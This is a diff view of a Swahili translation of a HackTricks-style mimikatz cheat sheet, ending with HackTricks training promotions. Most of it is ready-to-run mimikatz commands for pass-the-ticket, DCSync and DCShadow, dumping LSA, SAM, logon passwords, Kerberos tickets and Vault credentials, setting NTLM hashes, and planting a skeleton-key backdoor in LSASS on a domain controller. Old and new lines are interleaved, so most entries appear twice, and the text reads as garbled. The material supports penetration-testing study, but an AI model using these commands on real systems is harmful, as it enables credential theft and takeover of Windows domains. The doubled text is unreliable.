||||
- **Pitisha Hifadhi**:
|
||||
- **Pita kwenye Kache**:
|
||||
- Amri: `kerberos::ptc`
|
||||
- Inasambaza tiketi za Kerberos kutoka kwenye faili za hifadhi.
|
||||
- Inachanganya tiketi za Kerberos kutoka kwenye faili za kache.
|
||||
- Mfano: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **Pitisha Tiketi**:
|
||||
- **Pita Tiketi**:
|
||||
- Amri: `kerberos::ptt`
|
||||
- Inaruhusu kutumia tiketi ya Kerberos katika kikao kingine.
|
||||
- Mfano: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
|
|
@ -121,65 +125,65 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- **Futa Tiketi**:
|
||||
- Amri: `kerberos::purge`
|
||||
- Inafuta tiketi zote za Kerberos kutoka kwenye kikao.
|
||||
- Inafaa kabla ya kutumia amri za kubadilisha tiketi ili kuepuka migogoro.
|
||||
- Inafaida kabla ya kutumia amri za kubadilisha tiketi ili kuepuka migongano.
|
||||
|
||||
|
||||
### Uharibifu wa Active Directory
|
||||
### Uingiliaji wa Active Directory
|
||||
|
||||
- **DCShadow**: Kwa muda kufanya kifaa kifanye kama DC kwa ajili ya uhariri wa vitu vya AD.
|
||||
- **DCShadow**: Fanya mashine kuwa DC kwa muda kwa ajili ya kubadilisha vitu vya AD.
|
||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||
|
||||
- **DCSync**: Kujifanya kama DC ili kuomba data ya nywila.
|
||||
- **DCSync**: Fanya kama DC ili kuomba data za nywila.
|
||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||
|
||||
### Upatikanaji wa Vitambulisho
|
||||
### Upatikanaji wa Akikazi
|
||||
|
||||
- **LSADUMP::LSA**: Pata vitambulisho kutoka LSA.
|
||||
- **LSADUMP::LSA**: Toa akiba kutoka LSA.
|
||||
- `mimikatz "lsadump::lsa /inject" exit`
|
||||
|
||||
- **LSADUMP::NetSync**: Jifanya kama DC kwa kutumia data ya nywila ya akaunti ya kompyuta.
|
||||
- *Hakuna amri maalum iliyotolewa kwa NetSync katika muktadha wa awali.*
|
||||
- **LSADUMP::NetSync**: Fanya kama DC kwa kutumia data za nywila za akaunti ya kompyuta.
|
||||
- *Hakuna amri maalum iliyotolewa kwa NetSync katika muktadha wa asili.*
|
||||
|
||||
- **LSADUMP::SAM**: Fikia hifadhidata ya SAM ya ndani.
|
||||
- `mimikatz "lsadump::sam" exit`
|
||||
|
||||
- **LSADUMP::Secrets**: Fungua siri zilizohifadhiwa kwenye usajili.
|
||||
- **LSADUMP::Secrets**: Fanya ufichuzi wa siri zilizohifadhiwa kwenye rejista.
|
||||
- `mimikatz "lsadump::secrets" exit`
|
||||
|
||||
- **LSADUMP::SetNTLM**: Weka hash mpya ya NTLM kwa mtumiaji.
|
||||
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
|
||||
|
||||
- **LSADUMP::Trust**: Pata habari za uwakilishi wa uaminifu.
|
||||
- **LSADUMP::Trust**: Pata taarifa za uthibitisho wa uaminifu.
|
||||
- `mimikatz "lsadump::trust" exit`
|
||||
|
||||
### Mbalimbali
|
||||
### Mambo Mbalimbali
|
||||
|
||||
- **MISC::Skeleton**: Ingiza mlango nyuma kwenye LSASS kwenye DC.
|
||||
- **MISC::Skeleton**: Ingiza nyuma ya mlango kwenye LSASS kwenye DC.
|
||||
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
||||
|
||||
### Kupandisha Hadhi ya Mamlaka
|
||||
### Kuinua Haki
|
||||
|
||||
- **PRIVILEGE::Backup**: Pata haki za kuhifadhi nakala.
|
||||
- **PRIVILEGE::Backup**: Pata haki za nakala.
|
||||
- `mimikatz "privilege::backup" exit`
|
||||
|
||||
- **PRIVILEGE::Debug**: Pata haki za kufuatilia.
|
||||
- **PRIVILEGE::Debug**: Pata haki za debug.
|
||||
- `mimikatz "privilege::debug" exit`
|
||||
|
||||
### Kuvuja Vitambulisho
|
||||
### Utoaji wa Akikazi
|
||||
|
||||
- **SEKURLSA::LogonPasswords**: Onyesha vitambulisho kwa watumiaji walioingia.
|
||||
- **SEKURLSA::LogonPasswords**: Onyesha akiba za watumiaji walioingia.
|
||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||
|
||||
- **SEKURLSA::Tickets**: Pata tiketi za Kerberos kutoka kwenye kumbukumbu.
|
||||
- **SEKURLSA::Tickets**: Toa tiketi za Kerberos kutoka kwenye kumbukumbu.
|
||||
- `mimikatz "sekurlsa::tickets /export" exit`
|
||||
|
||||
### Sid na Uhariri wa Alama
|
||||
### Ubadilishaji wa Sid na Token
|
||||
|
||||
- **SID::add/modify**: Badilisha SID na SIDHistory.
|
||||
- Ongeza: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- Badilisha: *Hakuna amri maalum ya kubadilisha katika muktadha wa awali.*
|
||||
- Badilisha: *Hakuna amri maalum ya kubadilisha katika muktadha wa asili.*
|
||||
|
||||
- **TOKEN::Elevate**: Jifanya kama alama.
|
||||
- **TOKEN::Elevate**: Fanya kama token.
|
||||
- `mimikatz "token::elevate /domainadmin" exit`
|
||||
|
||||
### Huduma za Terminal
|
||||
|
|
@ -187,23 +191,26 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- **TS::MultiRDP**: Ruhusu vikao vingi vya RDP.
|
||||
- `mimikatz "ts::multirdp" exit`
|
||||
|
||||
- **TS::Sessions**: Onyesha vikao vya TS/RDP.
|
||||
- *Hakuna amri maalum iliyotolewa kwa TS::Sessions katika muktadha wa awali.*
|
||||
- **TS::Sessions**: Orodhesha vikao vya TS/RDP.
|
||||
- *Hakuna amri maalum iliyotolewa kwa TS::Sessions katika muktadha wa asili.*
|
||||
|
||||
### Hazina
|
||||
### Vault
|
||||
|
||||
- Pata nywila kutoka kwenye Hazina ya Windows.
|
||||
- Toa nywila kutoka Windows Vault.
|
||||
- `mimikatz "vault::cred /patch" exit`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) maalum.
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
Loading…
Reference in a new issue